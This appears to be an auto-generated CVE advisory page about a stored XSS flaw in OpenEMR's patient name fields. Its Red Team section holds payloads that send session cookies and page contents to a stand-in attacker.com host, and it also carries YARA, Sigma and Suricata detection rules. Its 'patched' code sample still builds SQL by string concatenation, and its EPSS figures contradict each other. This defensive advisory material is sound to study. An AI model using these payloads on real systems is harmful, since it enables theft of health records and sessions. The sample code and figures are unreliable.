☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-32794

CVE-2025-32794 Cross-Site Scripting in Openemr
📅 PUBLISHED: 2025-05-23 15:15 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 14.41%
👁️
14.41% probability
360.1× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32794 is a stored cross-site scripting (XSS) vulnerability in OpenEMR, a free and open-source electronic health records and medical practice management application. The flaw resides in the patient registration module, where the First and Last Name fields are not properly sanitized. An authenticated user with patient creation privileges can inject arbitrary JavaScript code into these fields. This malicious script is later executed when a user views the patient's encounter under Orders → Procedure Orders, leading to potential data theft, session hijacking, or further compromise within the healthcare environment.

The vulnerability affects all versions prior to 7.0.3.4. The CVSS score is 7.6 (High), and the EPSS probability is 0.0%, indicating low exploitation likelihood at the time of analysis. However, given the sensitive nature of healthcare data, the risk is significant. The patch is available in version 7.0.3.4.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.6 (High)
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs an authenticated account with patient creation privileges.
  • User Interaction (UI): Required (R) – The victim must view the patient encounter under Orders → Procedure Orders.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: High. While the EPSS score is low, the healthcare context and the ability to execute arbitrary JavaScript make this a critical risk for patient data confidentiality and system integrity.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the patient registration workflow. When a user with the necessary privileges creates a new patient, the application accepts input for the First and Last Name fields without proper sanitization or encoding. The input is stored in the database and later rendered in the web interface under Orders → Procedure Orders.

The attack flow:

  1. Authentication: The attacker must have a valid account with the ability to create patients (e.g., a receptionist or nurse role).
  2. Injection: The attacker enters a malicious JavaScript payload into the First or Last Name field. For example: <script>alert('XSS')</script>.
  3. Storage: The payload is stored in the database.
  4. Trigger: When a user (e.g., a doctor or administrator) views the patient's encounter under Orders → Procedure Orders, the payload is executed in their browser.
  5. Impact: The attacker can steal session cookies, redirect to phishing pages, perform actions on behalf of the victim, or exfiltrate sensitive patient data.

The vulnerability is particularly dangerous in a healthcare setting due to the sensitivity of electronic health records (EHR) and the potential for HIPAA violations.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.0.3.4): The vulnerable code likely does not sanitize or encode the First and Last Name fields before storing or displaying them. A simplified example:

// Vulnerable: No sanitization
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
// Store directly in database
$query = "INSERT INTO patients (first_name, last_name) VALUES ('$first_name', '$last_name')";

When rendering, the values are output directly without escaping:

echo "Patient: " . $patient['first_name'] . " " . $patient['last_name'];

Patched Code (7.0.3.4): The patch introduces proper input sanitization and output encoding. For example:

// Patched: Sanitize input
$first_name = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
$last_name = htmlspecialchars($_POST['last_name'], ENT_QUOTES, 'UTF-8');
// Store safely
$query = "INSERT INTO patients (first_name, last_name) VALUES ('$first_name', '$last_name')";

When rendering, the values are already encoded, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to an OpenEMR instance (version < 7.0.3.4).
  • Authenticated account with patient creation privileges.

Exploitation Steps:

  1. Log in to OpenEMR.
  2. Navigate to the patient registration module.
  3. In the First Name field, enter a malicious payload. Example:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. In the Last Name field, enter a benign name (or another payload).
  5. Complete the registration.
  6. Wait for a user (e.g., doctor) to view the patient's encounter under Orders → Procedure Orders.
  7. The payload executes, sending the victim's session cookie to the attacker's server.

Advanced Payload:

<script>
var img = new Image();
img.src = 'https://attacker.com/exfil?data=' + encodeURIComponent(document.body.innerHTML);
</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual patient names containing script tags or event handlers.
  • Use WAF rules to block XSS payloads in patient registration forms.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

  • Immediately upgrade to OpenEMR 7.0.3.4 or later.
  • If upgrade is not possible, apply a virtual patch using a WAF to filter XSS patterns.
  • Review user privileges and restrict patient creation to trusted roles only.
  • Enable audit logging for patient creation and modification events.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to unknown or suspicious domains from the OpenEMR server.
  • Requests containing document.cookie or document.body.innerHTML in the URL.

Host IOCs:

  • Patient records with script tags in the First or Last Name fields in the database.
  • Unusual entries in web server logs showing POST requests to patient registration endpoints with encoded payloads.

Log IOCs:

  • Web server logs showing POST /interface/patient_file/patient_file.php with parameters containing <script> or onerror= patterns.
  • Application logs showing failed validation attempts for patient names.

Detection Engineering

YARA Rule

rule CVE_2025_32794_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting OpenEMR patient registration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32794"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: OpenEMR Stored XSS in Patient Registration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in patient registration fields
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32794
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'patient_file.php'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in patient notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-32794 OpenEMR Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"patient_file.php"; http_uri;
    content:"<script"; nocase;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-32794;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update OpenEMR to version 7.0.3.4 or later. This is the only complete fix.
  2. Virtual Patching: If upgrade is delayed, deploy a WAF rule to block XSS patterns in patient registration forms.
  3. Input Validation: Implement server-side validation to reject names containing HTML tags or JavaScript.
  4. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.

Long-Term Measures:

  • Conduct regular security audits of OpenEMR and other healthcare applications.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Enforce least privilege for user roles; limit patient creation to necessary personnel.
  • Enable comprehensive logging and monitoring for patient record modifications.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32794/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.